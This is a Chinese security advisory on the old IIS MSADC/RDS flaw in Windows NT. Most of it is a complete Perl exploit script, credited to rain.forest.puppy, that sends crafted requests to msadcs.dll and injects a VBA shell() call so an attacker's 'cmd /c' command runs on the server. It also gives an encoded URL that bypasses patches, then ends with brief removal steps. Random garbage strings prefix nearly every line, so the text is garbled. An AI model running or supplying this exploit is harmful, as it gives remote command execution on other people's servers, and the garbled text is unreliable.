IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
# 8A|-u=3 BkcOsJIz 涉及程序：
nxG vh4'i8 Microsoft NT server
jG t[[s
p&7>G-. 描述：
xk,E
A U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P _9O8"W $ysC)5q. 详细：
`'~|DG}a 如果你没有时间读详细内容的话，就删除:
/)|*Vzu c:\Program Files\Common Files\System\Msadc\msadcs.dll
#8'%CUF*<8 有关的安全问题就没有了。
OHB!ec6W oD.f/hi0| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
{_ocW@@ J4<- C\=4 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
`T ab'7 关于利用ODBC远程漏洞的描述，请参看:
B;EdLs} TR#5V @e.m http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1:-$mt_* +m"iJW0 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
QDU^yVa_ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ? O.&=im_ -" DI,o 这里不再论述。
{pVD`#Tl[ *w!H -*` 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9 eP @} C6 r8m E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
[hs{{I I 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
bygwoZ<E "U E'd Wz !=ZbBUJF #将下面这段保存为txt文件，然后: "perl -x 文件名"
WHU& 9N "kMpa]<c-6 #!perl
bH&[O`vf #
Ls9G:>'rR # MSADC/RDS 'usage' (aka exploit) script
do G&qXw #
) yjHABGJ # by rain.forest.puppy
@+\OoOK<L #
$v+g3+7 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
e%8K
A#DX # beta test and find errors!
3o6N&bQ b /0 zk &g use Socket; use Getopt::Std;
^K3{6}] getopts("e:vd:h:XR", \%args);
Fd2zvi *'Ch(c:rtH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7-)Y\D x;uj R< if (!defined $args{h} && !defined $args{R}) {
m Wtwp- print qq~
yH CBf)N7\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
/7*u!CN m -h <host> = host you want to scan (ip or domain)
Tmq:,.^ } -d <seconds> = delay between calls, default 1 second
)4j#gHN\ -X = dump Index Server path table, if available
&0M^UvO -v = verbose
k )4
-e = external dictionary file for step 5
Q+S>nL!*#1 $AoN ,B> Or a -R will resume a command session
)
~X\W\ pmfyvkLS ~; exit;}
.a$][Jny p 3X > $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
qV5ME #TJ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Rf7 py ) if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^}9Aq $R if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-B R&b2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ucv-}oa-? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
HZR~r:_
i NX$$4<A1 if (!defined $args{R}){ $ret = &has_msadc;
"" ,V\m die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-8g ;t3z q W) ,)i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*2@Ne[dYEF . "cmd /c ";
g!4"3Dtdg $in=<STDIN>; chomp $in;
\ B<(9 $command="cmd /c " . $in ;
HdLVXaD/ Kx ';mgG#$ if (defined $args{R}) {&load; exit;}
|FH/Q-7[ an.)2*u print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
je.mX /Lpj &try_btcustmr;
y 2 &G0 y Q9{% print "\nStep 2: Trying to make our own DSN...";
}56"4/ Z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
f:e~ystm <vOljo print "\nStep 3: Trying known DSNs...";
wOINcEdx &known_dsn;
haS`V v]c1|?9p' print "\nStep 4: Trying known .mdbs...";
$$`}b^, / &known_mdb;
A-uEZj_RD= r'-)@| if (defined $args{e}){
Jo_h?{"L{ print "\nStep 5: Trying dictionary of DSN names...";
?:~ `? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
sy4$!,W: u[y>DPP x print "Sorry Charley...maybe next time?\n";
W +C\/ exit;
+Nyx2(g<m Po Q@9
A ##############################################################################
WC0@g5;1[ v$lP?\P;}X sub sendraw { # ripped and modded from whisker
pz~AsF sleep($delay); # it's a DoS on the server! At least on mine...
-_v[oqf$ my ($pstr)=@_;
Ust>% ~< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P6dIU/w die("Socket problems\n");
[ p|-G*=00 if(connect(S,pack "SnA4x8",2,80,$target)){
buq3t+0 select(S); $|=1;
$GPenQ~}, print $pstr; my @in=<S>;
-fn["R] select(STDOUT); close(S);
:U^a0s %B return @in;
4>gk XfTF } else { die("Can't connect...\n"); }}
X V] `? | \ C{R ##############################################################################
-7>vh|3 jmz, 1[ sub make_header { # make the HTTP request
R2-OT5Ej my $msadc=<<EOT
=2#
C {u. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
U5%EQc- "P User-Agent: ACTIVEDATA
P8piXG Host: $ip
PKty'}KF Content-Length: $clen
^7V9\Q9 Connection: Keep-Alive
VWaI!bK c"v #d9 ADCClientVersion:01.06
K mk < Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~"iCx+pr (F
+if --!ADM!ROX!YOUR!WORLD!
%
=br-c Content-Type: application/x-varg
&CG3_s<2 Content-Length: $reqlen
\ @3i=! B/&axm%0 EOT
+UB+. 5P ; $msadc=~s/\n/\r\n/g;
gs7H9%j{U return $msadc;}
x=gZ7$? A A7 E*w ##############################################################################
/!ux P~2U !z VuO*+ sub make_req { # make the RDS request
eZk
[6H my ($switch, $p1, $p2)=@_;
7?dB&m6W my $req=""; my $t1, $t2, $query, $dsn;
dq[j.Nmq JY~s-jxa if ($switch==1){ # this is the btcustmr.mdb query
/k l0(=' $query="Select * from Customers where City=" . make_shell();
\M'b % $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
\|L@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\ 2*<Pq VrrCW/ o elsif ($switch==2){ # this is general make table query
1)X%n)2pr $query="create table AZZ (B int, C varchar(10))";
3_+-t5 $dsn="$p1";}
`[2nxP>w` H'P1EZtq elsif ($switch==3){ # this is general exploit table query
R4%!W~K $query="select * from AZZ where C=" . make_shell();
&1 {RuV&t $dsn="$p1";}
4hr;k0sD #swzZyM$ elsif ($switch==4){ # attempt to hork file info from index server
:OUNZDL $query="select path from scope()";
.T Sj8, $dsn="Provider=MSIDXS;";}
z+C>P4c-y& HJ:s)As elsif ($switch==5){ # bad query
>| rID $query="select";
_A;jtS)SY $dsn="$p1";}
%
Lhpj[C r*OSEzGUz $t1= make_unicode($query);
r\.1=c#"bP $t2= make_unicode($dsn);
u yzc"d i $req = "\x02\x00\x03\x00";
{ %vX/Ek $req.= "\x08\x00" . pack ("S1", length($t1));
;lB%N
t<, $req.= "\x00\x00" . $t1 ;
t:9}~% ~ $req.= "\x08\x00" . pack ("S1", length($t2));
4t|ril``] $req.= "\x00\x00" . $t2 ;
Eo!1
WRruF $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
e%afK@c return $req;}
tK`sVsm> D\jRF -z ##############################################################################
. R#p<"$I kS%FV;9>( sub make_shell { # this makes the shell() statement
G29PdmY$< return "'|shell(\"$command\")|'";}
lc,{0$
1< ={o>g ' ##############################################################################
s =!
y% <=l!~~% sub make_unicode { # quick little function to convert to unicode
qH: `
O%, my ($in)=@_; my $out;
\f}S Hh for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Zm >Q-7r9 return $out;}
4/&U s \SHYwD}*Pr ##############################################################################
A|,\}9)4X[ y+)][Wa0 sub rdo_success { # checks for RDO return success (this is kludge)
5hUYxF20h8 my (@in) = @_; my $base=content_start(@in);
8 $io^n\i if($in[$base]=~/multipart\/mixed/){
?Lbw o<E return 1 if( $in[$base+10]=~/^\x09\x00/ );}
bN`oQ.Z 4 return 0;}
Zrr3='^s mqrP0/sN ##############################################################################
Q.*qU,4); f<=
#WV sub make_dsn { # this makes a DSN for us
; =ai]AYW my @drives=("c","d","e","f");
s/Fc7V!; print "\nMaking DSN: ";
Z,M?!vK foreach $drive (@drives) {
Py^F},?J print "$drive: ";
lbZ,?wm my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
dE7 kd=.o "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-v'7;L0K . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
B;r U $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
vv U;55- return 0 if $2 eq "404"; # not found/doesn't exist
r :{2}nE if($2 eq "200") {
ClCb.Ozj4 foreach $line (@results) {
( \{9W return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
r /63 } return 0;}
<*3{Twa1T ;nyV)+t+a ##############################################################################
2
:u4~E3 0?qXD O&~ sub verify_exists {
gbL99MZ@~ my ($page)=@_;
v`A^6)U#M my @results=sendraw("GET $page HTTP/1.0\n\n");
o7i/~JkTP return $results[0];}
OB)V k S7N3L." ##############################################################################
Qw!cd-zc @C k6s sub try_btcustmr {
wj!p6D;;S my @drives=("c","d","e","f");
8 k9(iS my @dirs=("winnt","winnt35","winnt351","win","windows");
nyWA(%N1 M=H W2xn foreach $dir (@dirs) {
yv =LT~ print "$dir -> "; # fun status so you can see progress
DmEmv/N= foreach $drive (@drives) {
{mY<R`Ee print "$drive: "; # ditto
s-Q-1lKV, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
tSV}BM, $reqlenlen=length( "$reqlen" );
,> A9OTSN\ $clen= 206 + $reqlenlen + $reqlen;
Tvi C1 {2 ]:(>r&' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:WIbjI= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!MS z%Qc O else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=24)`Lyb TOdH ##############################################################################
A)Wp W M "#z4 sub odbc_error {
-l+ &Bkf my (@in)=@_; my $base;
VI,z7
\ my $base = content_start(@in);
C18 pK8- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
i;;CU9`E2q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dE!{=u(!i $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4- ^|e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;2q;RT`h return $in[$base+4].$in[$base+5].$in[$base+6];}
M p: c. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
M 8X*fYn print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/ tM<ois* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5 gARGA 4Z)`kS} =] ##############################################################################
- %*>z'|{ 8+{WH/}y8 sub verbose {
*M\Qt_[ my ($in)=@_;
U>7"BpC return if !$verbose;
6e&Y%O'8 print STDOUT "\n$in\n";}
]`0(^)U & h@=H7oV7k ##############################################################################
1d h_" / d|k6#f-E sub save {
xRpL\4cs my ($p1, $p2, $p3, $p4)=@_;
'uBXSP# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
767xCP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
z)xGZ*{= close OUT;}
`~vqu69MF9 e;~[PYeu ##############################################################################
rQg7r>%Q <&\HXAOd sub load {
e.hHpjWi?Z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z=<x.F open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`=Pn{JaD @p=<IN>; close(IN);
"(5A 5> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
xfCq;?MupW $target= inet_aton($ip) || die("inet_aton problems");
RE Dh`Wd print "Resuming to $ip ...";
Yxz(g] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
fp|!LU if($p[1]==1) {
htk 5\^(X $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
85Zy0l $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
o)F^0t my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&1YAPxX if (rdo_success(@results)){print "Success!\n";}
wr,X@y%(! else { print "failed\n"; verbose(odbc_error(@results));}}
Pwf2dm$,+ elsif ($p[1]==3){
^$f} s,09 if(run_query("$p[3]")){
|(N4ZmTm print "Success!\n";} else { print "failed\n"; }}
dDbPM9]5 elsif ($p[1]==4){
vT"T*FKh: if(run_query($drvst . "$p[3]")){
J @C8;] print "Success!\n"; } else { print "failed\n"; }}
|V bF&*v` exit;}
#X'!wr|- P0uUVU=B| ##############################################################################
,pE{N&p9 H8.U #% sub create_table {
u:tLO3VfJ my ($in)=@_;
EpSVHD:* $reqlen=length( make_req(2,$in,"") ) - 28;
e#J Jd= $reqlenlen=length( "$reqlen" );
/*!K4)$-*2 $clen= 206 + $reqlenlen + $reqlen;
w^e<p~i!^E my @results=sendraw(make_header() . make_req(2,$in,""));
9Slx.9f return 1 if rdo_success(@results);
o7<pI8\ my $temp= odbc_error(@results); verbose($temp);
A+w51Q return 1 if $temp=~/Table 'AZZ' already exists/;
SjV;&
1Z/ return 0;}
"& ' h\ |_/q0#" ##############################################################################
y3 @R>@$ :\9E%/aAD sub known_dsn {
sYM3&ikyHI # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
iI ji[>qz my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Tn,'*D@l "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
XBe!9/'k> "banner", "banners", "ads", "ADCDemo", "ADCTest");
W}#eQ|oCV 1.U5gW/3L foreach $dSn (@dsns) {
$Q*h+)g< print ".";
&Q
7Q1`S next if (!is_access("DSN=$dSn"));
+pp|Qgr 3 if(create_table("DSN=$dSn")){
> Pj ?IE6 print "$dSn successful\n";
v?BX 4FO if(run_query("DSN=$dSn")){
4<fKB& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L nP={s print "Something's borked. Use verbose next time\n";}}} print "\n";}
0*S]m5#; Q
laz3X,P ##############################################################################
yM>:,T S ,<s'/8Ik sub is_access {
[t/7hx"2t my ($in)=@_;
Ae R3wua $reqlen=length( make_req(5,$in,"") ) - 28;
%Ez= $reqlenlen=length( "$reqlen" );
Q$Q s$ $clen= 206 + $reqlenlen + $reqlen;
"_t2R &A my @results=sendraw(make_header() . make_req(5,$in,""));
IoWh&(+KdH my $temp= odbc_error(@results);
4<g,L;pUU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
.<5 66g}VP return 0;}
BC0SSR@e 3tY \0y9 ##############################################################################
H!mNHY_fA eFS;+?bu sub run_query {
=EwC6+8*M my ($in)=@_;
H"lq!C` $reqlen=length( make_req(3,$in,"") ) - 28;
Z~)Bh~^A $reqlenlen=length( "$reqlen" );
B
3 <T# $clen= 206 + $reqlenlen + $reqlen;
hvCX, ^LoJ my @results=sendraw(make_header() . make_req(3,$in,""));
U86bn(9K return 1 if rdo_success(@results);
5:v "^"S z my $temp= odbc_error(@results); verbose($temp);
c+$a lw L~ return 0;}
O& k+;r ?
hU0S ##############################################################################
5<h7+ %?t9 ovJwo r sub known_mdb {
~x;1&\'k my @drives=("c","d","e","f","g");
}qU(G3 my @dirs=("winnt","winnt35","winnt351","win","windows");
$'Z\'<k[ my $dir, $drive, $mdb;
Xr'Y[E [ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
AX3iB1):K A+v6N>}* # this is sparse, because I don't know of many
#vCtH2 my @sysmdbs=( "\\catroot\\icatalog.mdb",
60p*$Vqy "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
h^o>9s/|/H "\\system32\\certmdb.mdb",
'&?cW#J? "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
wh8 h1I
Zd G?fWWA my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
t@(S=i7}- "\\cfusion\\cfapps\\forums\\forums_.mdb",
3>;zk#b2 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
x&>zD0\
:\ "\\cfusion\\cfapps\\security\\realm_.mdb",
Q${0(#Nu "\\cfusion\\cfapps\\security\\data\\realm.mdb",
sbn|D\ p "\\cfusion\\database\\cfexamples.mdb",
\`3YE~7J/ "\\cfusion\\database\\cfsnippets.mdb",
" cSH[/ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
46`(u"RP "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;LEO+,6 "\\cfusion\\brighttiger\\database\\cleam.mdb",
OSACH0h "\\cfusion\\database\\smpolicy.mdb",
nP` #z&C "\\cfusion\\database\cypress.mdb",
C3 >X1nU "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
^y:! =nX^ "\\website\\cgi-win\\dbsample.mdb",
1t7 vP; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
l] tda( "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
CqHCJ ' ); #these are just
k$]- fQM foreach $drive (@drives) {
b #\i]2b: foreach $dir (@dirs){
*b#00)d
foreach $mdb (@sysmdbs) {
]M%kt +u! print ".";
a&oz<4oT if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
klSzmi4M print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vzDoF0Ts*p if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@BCws ) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(
-^- } else { print "Something's borked. Use verbose next time\n"; }}}}}
J*HZ=6L Si=zxy T foreach $drive (@drives) {
qy@v, a foreach $mdb (@mdbs) {
UC&f print ".";
D|m] ]B if(create_table($drv . $drive . $dir . $mdb)){
4#D=+70' print "\n" . $drive . $dir . $mdb . " successful\n";
5-rG 8 if(run_query($drv . $drive . $dir . $mdb)){
[!Uzw 2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
vb^/ DMhz } else { print "Something's borked. Use verbose next time\n"; }}}}
O #[+=
^ }
G&ZpQ) ?[<C,w ~$` ##############################################################################
Op''=Ar#sh =)tU]kp sub hork_idx {
Gp*U2LB print "\nAttempting to dump Index Server tables...\n";
7 bcl^~lY print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
, c3gW2E $reqlen=length( make_req(4,"","") ) - 28;
^\|Hz\"* $reqlenlen=length( "$reqlen" );
D9.H<.|36 $clen= 206 + $reqlenlen + $reqlen;
-<e8\ Z` my @results=sendraw2(make_header() . make_req(4,"",""));
TNgf96)
y if (rdo_success(@results)){
X{2))t%
my $max=@results; my $c; my %d;
B,rpc\_ for($c=19; $c<$max; $c++){
"p,TYjT?R $results[$c]=~s/\x00//g;
xnz(hz6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Th"0 Cc) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)1de<# qM $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$:&?!>H $d{"$1$2"}="";}
2@!Ou $W foreach $c (keys %d){ print "$c\n"; }
U9N1 )3/u } else {print "Index server doesn't seem to be installed.\n"; }}
p\xi 5z h $\+r< ##############################################################################
IC5[:UZ5] u~
%xU~v sub dsn_dict {
x.gRTR`7( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
M? 7CBqZ while(<IN>){
8&d s $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
r7dvj#^ next if (!is_access("DSN=$dSn"));
<hG ] f% if(create_table("DSN=$dSn")){
f+A!w8E print "$dSn successful\n";
rID_^g_tP8 if(run_query("DSN=$dSn")){
vpTY fE print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4(2iR0N print "Something's borked. Use verbose next time\n";}}}
a-nf5w>&q print "\n"; close(IN);}
24 )Sf 2VSs#z! ##############################################################################
/m>%=_ nz !\e&7sV~Q sub sendraw2 { # ripped and modded from whisker
\gtI4zl*J sleep($delay); # it's a DoS on the server! At least on mine...
\TchRSe my ($pstr)=@_;
>|Xy'ZR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kd0~@rPL die("Socket problems\n");
Gvo|uB# if(connect(S,pack "SnA4x8",2,80,$target)){
<|qh5Scp print "Connected. Getting data";
;;6e
t/8 open(OUT,">raw.out"); my @in;
i,k.#Vx[m select(S); $|=1; print $pstr;
L H>oG$a while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=2sj$ close(OUT); select(STDOUT); close(S); return @in;
q ER dQ~M, } else { die("Can't connect...\n"); }}
{u 7%Z}<0 8vP:yh@ ##############################################################################
MqA%hlq |j i={ sub content_start { # this will take in the server headers
?U}Ml]0~ my (@in)=@_; my $c;
bKAR}JM& for ($c=1;$c<500;$c++) {
6x6xv:\ if($in[$c] =~/^\x0d\x0a/){
c UJUZ@ol if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Z: TW{:lrI else { return $c+1; }}}
a?^xEye return -1;} # it should never get here actually
CuS"Wj A4C4xts]N ##############################################################################
FrPpRe %! hSBR9g sub funky {
49/j9#hr my (@in)=@_; my $error=odbc_error(@in);
/3] b!lFZZ if($error=~/ADO could not find the specified provider/){
jGp|:!' w print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ux8: exit;}
HTpoY xn( if($error=~/A Handler is required/){
^ ;KL` print "\nServer has custom handler filters (they most likely are patched)\n";
( C1@f!Z exit;}
>pS @;t' if($error=~/specified Handler has denied Access/){
+y}4^3Vx^ print "\nServer has custom handler filters (they most likely are patched)\n";
`#v(MK{9+V exit;}}
EUVB>%P c=
f _ ##############################################################################
gy%/zbZx T(n<@Ac]V sub has_msadc {
x+mf QcSD& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'Dh+v3O my $base=content_start(@results);
N sUFM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xKo l return 0;}
Ng;K-WB\ >icL, n"] ########################
"0ITW46n HOEjLwH )JYt zc 解决方案：
#gHs!b-g@ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|?a 4Nl ?
2、移除web 目录: /msadc
